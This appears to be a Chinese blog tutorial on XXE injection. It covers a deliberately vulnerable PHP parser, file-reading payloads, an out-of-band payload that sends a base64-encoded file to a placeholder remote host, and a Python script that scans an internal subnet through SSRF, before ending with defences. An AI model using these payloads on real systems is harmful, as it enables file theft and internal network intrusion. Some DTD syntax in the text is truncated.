XXE简析

XXE原理

XXE(XML External Entity c Injection) 全称为XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

XML简介

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
test
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD

根元素 [元素声明]>

引用外部DTD

根元素 SYSTEM “文件名”>
或者
根元素 PUBLIC “public_ID” “文件名”>
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

内部声明实体

实体名称 “实体的值”>

引用外部实体

实体名称 SYSTEM “URI”>
或者
实体名称 PUBLIC “public_ID” “URI”>

进阶

如果服务器开启了引用外部实体(默认关闭),则我们可以想起发送脚本达到文件读取的目的。
后端脚本

1
2
3
4
5
6
7
8
9
10
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

?>

payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

但是当读取的文件中包含<>&"字符时,xml会解析它,这样就会出问题,因此我们需要<![CDATA[标记来实现,针对php环境,还可使用php://filter对内容进行base64编码
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> <!-- 填写脚本ip -->
%dtd; ]>

<roottag>&all;</roottag>

<!-- evil.dtd内容 -->
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

盲注

xml注入同样存在没有回显的情况,但我们可以通过向外发送请求的方式来达到读取文件的目的。
后端脚本

1
2
3
4
5
6
7
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

payload

1
2
3
4
5
6
7
8
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd"> <!-- 同上 -->
%remote;%int;%send;
]>

<!-- test.dtd -->
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

分析
payload中连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
通过base64编码防止内容内含有特殊字符

SSRF

既然xxe可以通过http协议去请求我们的服务器,那么将ip换成内网网址,不就能达到ssrf的效果了吗。
要想进一步的利用的xxe,我们先了解各个环境所支持的协议
test
php在安装扩展后还能支持的协议:
test

注意
1.其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7
update 7 和 Oracle JDK 1.6 update 35
2.libxml 是 PHP 的 xml 支持

我们可以使用如下payload来对内网服务器进行扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import base64

# <?xml version="1.0" encoding="utf-8"?>
# <!DOCTYPE creds [
# <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.75.129"> ]>
# <creds>&goodies;</creds>


def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE creds [ """
xml = xml + "\r\n" + """<!ENTITY goodies SYSTEM """ + '"' + string + '"' + """> ]>"""
xml = xml + "\r\n" + """<creds>&goodies;</creds>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://192.168.75.128:39001', data=xml, headers=headers, timeout=5).text
#coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
#print(coded_string)
print(x)
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '192.168.75.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print(string)
build_xml(string)
except:
continue

结果如下
test

扫出主机后就是确定端口。端口扫描的脚本主机探测几乎没有什么变化,只要把ip 地址固定,然后循环遍历端口就行了,当然一般我们端口是通过响应的时间的长短判断该该端口是否开放的,读者可以自行修改一下,当然除了这种方法,我们还能结合 burpsuite 进行端口探测
传入payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>

返回结果
test

这样就完成了一次端口探测。如果想更多,我们可以将请求的端口作为 参数 然后利用 bp 的 intruder 来帮我们探测
test

这样就能继续进行ssrf了。

防御XXE攻击

方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
其他语言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet_Prevention_Cheat_Sheet)
方案二、过滤用户提交的XML数据

关键词:<!DOCTYPE、<!ENTITY SYSTEM和PUBLIC。

参考资料

一篇文章带你深入理解漏洞之 XXE 漏洞
未知攻焉知防——XXE漏洞攻防